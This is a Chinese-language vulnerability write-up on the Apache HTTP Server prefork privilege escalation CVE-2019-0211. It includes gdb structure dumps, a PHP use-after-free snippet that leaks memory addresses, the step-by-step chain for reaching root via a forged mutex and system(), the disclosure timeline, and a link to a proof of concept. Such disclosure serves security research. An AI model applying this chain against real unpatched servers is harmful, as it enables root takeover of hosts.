简介
从2.4.17(2015年10月9日)到2.4.38(2019年4月1日)的Apache HTTP版本中,存在着一个可以通过数组越界调用任意构造函数的提权漏洞。这个漏洞可以通过重新启动Apache服务(apache2ctl graceful)来触发。在Linux默认配置中,每天会在早上6点25分自动运行一次该命令,从而重启日志文件的处理任务。
该漏洞涉及到三个函数mod_prefork,mod_worker和mod_event。后面的漏洞描述,分析和触发都主要从mod_prefork展开。
漏洞描述
在MPM prefork模式下,服务器主进程会运行在root权限下,管理一个单线程的进程池。低权限(www-data)的Worker进程处理HTTP请求头。Apache通过共享包含有scoreboard(包含诸如PID、请求等Worker进程信息)的共享内存空间(SHM)来处理worker进程返回的信息。每一个Worker进程都对应一个关联自身PID的process_score结构,拥有着对SHM的读写权限。
ap_scoreboard_image: 共享内存空间的指针
(gdb) p *ap_scoreboard_image
$3 = {
global = 0x7f4a9323e008,
parent = 0x7f4a9323e020,
servers = 0x55835eddea78
}
(gdb) p ap_scoreboard_image->servers[0]
$5 = (worker_score *) 0x7f4a93240820
PID19447的Worker进程的共享内存空间
(gdb) p ap_scoreboard_image->parent[0]
$6 = {
pid = 19447,
generation = 0,
quiescing = 0 '00',
not_accepting = 0 '00',
connections = 0,
write_completion = 0,
lingering_close = 0,
keep_alive = 0,
suspended = 0,
bucket = 0 <- index for all_buckets
}
(gdb) ptype *ap_scoreboard_image->parent
type = struct process_score {
pid_t pid;
ap_generation_t generation;
char quiescing;
char not_accepting;
apr_uint32_t connections;
apr_uint32_t write_completion;
apr_uint32_t lingering_close;
apr_uint32_t keep_alive;
apr_uint32_t suspended;
int bucket; <- index for all_buckets
}
当Apache重启的时候,它的主进程会关闭旧的Worker进程并生成新的来替换掉。在这里主进程会用all_bucket这一函数来使用所有旧的Worker进程占用的bucket(内存空间)值。
all_buckets
(gdb) p $index = ap_scoreboard_image->parent[0]->bucket
(gdb) p all_buckets[$index]
$7 = {
pod = 0x7f19db2c7408,
listeners = 0x7f19db35e9d0,
mutex = 0x7f19db2c7550
}
(gdb) ptype all_buckets[$index]
type = struct prefork_child_bucket {
ap_pod_t *pod;
ap_listen_rec *listeners;
apr_proc_mutex_t *mutex; <--
}
(gdb) ptype apr_proc_mutex_t
apr_proc_mutex_t {
apr_pool_t *pool;
const apr_proc_mutex_unix_lock_methods_t *meth; <--
int curr_locked;
char *fname;
...
}
(gdb) ptype apr_proc_mutex_unix_lock_methods_t
apr_proc_mutex_unix_lock_methods_t {
...
apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); <--
...
}
这里没有进行边界检查,也就是说任意一个Worker进程都可以改变自身bucket的值来指向共享内存区域,从而在重启的时候控制prefork_child_bucket函数的结构。最终在权限恢复之前,通过mutex->meth->child_init()这一调用过程,实现暂时以root权限调用函数。
存在风险的代码区域
理一遍server/mpm/prefork/prefork.c来看下是什么地方导致了这一漏洞。
(译者注:L数字代表该文件中对应的代码行数)
- 一个恶意的Worker进程改变自身共享内存中自身的bucket的值,从而指向共享内存空间。
- 在第二天的早上6.25分,logrotate请求Apache重启一次服务。
- 之后Apache主进程会关闭第一个Worker进程,生成新的Worker级才能哼。
- 这个过程是通过发送SIGUSR1信号给Worker进程来实现的,Worker进程收到信号后会立刻退出。
- 然后调用prefork_run()(L853)函数来生成新的Worker进程。由于存在retained->mpm->was_graceful这一过程,Worker进程不会立刻重启。
- 在进入主循环(L933)并监控旧的Worker进程的PID,可以看到旧的Worker进程关闭后,ap_wait_or_timeout()函数会返回它PID的值(L940)
- process_score的index值以及PID值会存储在child_slot(L948)中
- 如果删除旧的Worker进程没有报错(L969)的话,make_child()函数会调用ap_get_scoreboard_process(child_slot)->buctet的值作为参数(L985),正如之前提到的一样,bucket的值已经被恶意Worker给修改了。
- make_child()函数会fork(L671)主进程来生成新的子进程。
- OOB会读取(L691)发生的过程,导致my_bucket函数遭到攻击者的控制。
- child_main()函数会调用(L722),相比(L433)处更快调用函数。
- SAFE_ACCEPT(<code>)只有在Apache监听两个或更多的端口时执行<code>,一般来说服务器通常监听着HTTP(80)和HTTPS(443)
- 假设<code>成功执行,会调用apr_proc_mutex_child_init()函数,从而通过(*mutex)->meth->child_init(mutex, pool, fname)的调用过程来控制互斥锁。
- 在执行完(L446)后权限恢复到正常的低权限。
利用过程:
利用过程包括四个步骤:1、获取Worker进程的读写权限.2、向共享内存空间(SHM)写入一个假的prefork_child_bucket结构。3、将all_bucket[bucket]指向结构。4、等待构造的函数被调用。
这一过程的好处:
始终没有创建过主进程,所有过程都映射在访问/proc/self/maps(ASLR/PIE保护无效)中,当一个Worker进程关闭或报错时,它会自动由主进程重新创建,所以不会有DOS Apache服务器的风险。
缺点:
PHP不允许对/proc/self/mem的读写,也就是说我们没法直接编辑共享内存空间,只能等待重启的时候调用all_bucket函数。
1. 获取Worker进程的读写权限
PHP UAF的0day漏洞
由于mod_prefork函数经常和mod_php函数一起使用,因此可以从CVE-2019-6977这里下手实现漏洞的利用。我在写exp的过程中发现PHP7.X下的UAF 0day漏洞在PHP5.X中也能复现。
PHP UAF
<?php
class X extends DateInterval implements JsonSerializable
{
public function jsonSerialize()
{
global $y, $p;
unset($y[0]);
$p = $this->y;
return $this;
}
}
function get_aslr()
{
global $p, $y;
$p = 0;
$y = [new X('PT1S')];
json_encode([1234 => &$y]);
print("ADDRESS: 0x" . dechex($p) . "n");
return $p;
}
get_aslr();
这里有一个PHP对象的UAF:即使我们无法设置$y[0](X的一个实例),我们也可以利用$this。
UAF的读写权限
我们想要实现两个目标:读取内存地址来找到all_buckets的位置,修改SHM来改变bucket的值,从而加上我们自己的结构。
好在PHP的堆正好在这两片地址区域的前面。
PHP堆的内存地址,ap_scoreboard_image->*和all_buckets
root@apaubuntu:~# cat /proc/6318/maps | grep libphp | grep rw-p
7f4a8f9f3000-7f4a8fa0a000 rw-p 00471000 08:02 542265 /usr/lib/apache2/modules/libphp7.2.so
(gdb) p *ap_scoreboard_image
$14 = {
global = 0x7f4a9323e008,
parent = 0x7f4a9323e020,
servers = 0x55835eddea78
}
(gdb) p all_buckets
$15 = (prefork_child_bucket *) 0x7f4a9336b3f0
考虑到我们触发了PHP对象中的UAF,对象中的任意属性都属于UAF漏洞的范围。我们可以将zend_object UAF改为zend_string,从而获得一个zend_string结构。
(gdb) ptype zend_string
type = struct _zend_string {
zend_refcounted_h gc;
zend_ulong h;
size_t len;
char val[1];
}
len属性包括了字符串的长度,通过增加它,我们可以读写之后的内存空间,也就是说能访问到我们感兴趣的两个内存空间:SHM和Apache的all_buckets
找到bucket的index值和all_bucket
我们需要改变ap_scoreboard_image->parent[worker_id]->bucket来获得特定的worker_id。好在这个结构每次都在共享内存空间的头部位置,很方便我们去定位。
共享内存空间和目标process_socre结构
root@apaubuntu:~# cat /proc/6318/maps | grep rw-s
7f4a9323e000-7f4a93252000 rw-s 00000000 00:05 57052 /dev/zero (deleted)
(gdb) p &ap_scoreboard_image->parent[0]
$18 = (process_score *) 0x7f4a9323e020
(gdb) p &ap_scoreboard_image->parent[1]
$19 = (process_score *) 0x7f4a9323e044
要定位all_bucket,我们需要充分利用prefork_child_bucket结构,所以我们需要:
导入bucket值的结构
prefork_child_bucket {
ap_pod_t *pod;
ap_listen_rec *listeners;
apr_proc_mutex_t *mutex; <--
}
apr_proc_mutex_t {
apr_pool_t *pool;
const apr_proc_mutex_unix_lock_methods_t *meth; <--
int curr_locked;
char *fname;
...
}
apr_proc_mutex_unix_lock_methods_t {
unsigned int flags;
apr_status_t (*create)(apr_proc_mutex_t *, const char *);
apr_status_t (*acquire)(apr_proc_mutex_t *);
apr_status_t (*tryacquire)(apr_proc_mutex_t *);
apr_status_t (*release)(apr_proc_mutex_t *);
apr_status_t (*cleanup)(void *);
apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); <--
apr_status_t (*perms_set)(apr_proc_mutex_t *, apr_fileperms_t, apr_uid_t, apr_gid_t);
apr_lockmech_e mech;
const char *name;
}
all_buckets[0]->mutex会定位在同一个all_buckets[0]的内存区域,考虑到meth是一个静态结构,它会定位到libapr的data上,又因为meth指向了libapr的函数,所以每一个函数的指针都在libapr的text内。
到这里我们通过/proc/self/maps有了整片内存区域的地址信息,我们可以通过修改Apache内存的指针来找到all_buckets[0]对应的结构位置。
和我之前说的一样,all_bucket的地址在每次重启都会发生变化。所以说每次触发我们的exp,all_buckets的地址都会发生变化。之后我们会研究如何解决这问题。
2. 向共享内存空间(SHM)写入假的prefork_child_bucket结构
实现函数的调用
如下是构造的调用函数的过程:
bucket_id = ap_scoreboard_image->parent[id]->bucket
my_bucket = all_buckets[bucket_id]
mutex = &my_bucket->mutex
apr_proc_mutex_child_init(mutex)
(*mutex)->meth->child_init(mutex, pool, fname)
调用适合的函数
要实现漏洞利用,我们需要让(*mutex)->meth->child_init指向zend_object_std_dtor(zend_object *object),也就是下面的利用过程:
mutex = &my_bucket->mutex
[object = mutex]
zend_object_std_dtor(object)
ht = object->properties
zend_array_destroy(ht)
zend_hash_destroy(ht)
val = &ht->arData[0]->val
ht->pDestructor(val)
pDestructor指向system, &ht->arData[0]->val是一个字符串.
3.令all_bucket[bucket]指向结构
问题和解决思路
到这里为止,如果all_bucket的地址每次重启不会改变,那么我们的利用过程就完成了。
- 通过PHP的堆获取内存的读写权限
- 通过结构匹配来找到all_bucket
- 找到SHM中需要的结构
- 改变SHM中的process_score.bucket,使得all_bucket[bucket]->mutex指向我们的paylaod
但考虑到all_bucket地址的变化,我们还需要做两件事情来提高我们的执行成功率:喷射SHM内存区域,用上每一个PID对应的process_socre结构。
喷射共享的内存区域
如果all_bucket的新地址距离旧的地址不远,my_bucket会指向最近的结构,从而喷射获得整个SHM中未被使用的空间,而不是仅仅获得一个指向SHM的指针。这里存在一个问题,结构在zend_object中也使用着,所以其中有(5*8=)40位属于zend_object.properties,导致用一个大的结构来占用这个小的空间也不行。所以我们采用两个结构apr_proc_mutex_t和zend_array占用剩余的共享内存,令prefork_child_bucket.mutex和zend_object.properties指向同一个地址,来解决这一问题。现在如果all_bucket在原始地址不远的地方,my_bucket就会喷射到这一范围。
利用所有的process_score
每一个Apache Worker进程都会有一个关联的process_score结构和对应的bucket的index值。无需改变process_score.bucket值,我们就能改变他们占用的内存范围,比如说:
ap_scoreboard_image->parent[0]->bucket = -10000 -> 0x7faabbcc00 <= all_buckets <= 0x7faabbdd00
ap_scoreboard_image->parent[1]->bucket = -20000 -> 0x7faabbdd00 <= all_buckets <= 0x7faabbff00
ap_scoreboard_image->parent[2]->bucket = -30000 -> 0x7faabbff00 <= all_buckets <= 0x7faabc0000
这意味着我们的成功率随着Apache Worker进程数量的增多而变大。每次重新生成Worker进程的时候,都只有一个Worker进程会获得buckek编号,但考虑到其他Worker进程会报错而立刻重新生成,因此这不是什么问题。
复现成功率
不同的Apache服务器有着不同数量的Worker进程,有更多的Worker进程意味着我们可以用更少的内存来喷射互斥锁的地址,也就是说可以获取到更多的all_buckets函数的index信息。因此越多的Worker进程数量能够提高我们测试的成功率。在我的测试服务器(默认使用了4个Worker进程)上有80%的成功率。
如果exp触发失败的话,它会在第二天重启的时候重新运行,Apache的错误日志中不会包含Worker进程的错误信息。
4. 等到早上6.25查看exp是否成功触发
这里只需要等待就好了。
漏洞时间线
- 2019-02-22 发送邮件给security@apache.org,提交了漏洞描述和Poc。
- 2019-02-25 收到漏洞致谢,Apache安全团队正在修复漏洞。
- 2019-03-07 Apache安全团队发送修复补丁进行测试,并提交CVE编号。
- 2019-03-10 补丁测试通过。
- 2019-04-01 发布新的Apache HTTP version 2.4.39版本。
Poc地址:
https://github.com/cfreal/exploits/tree/master/CVE-2019-0211-apache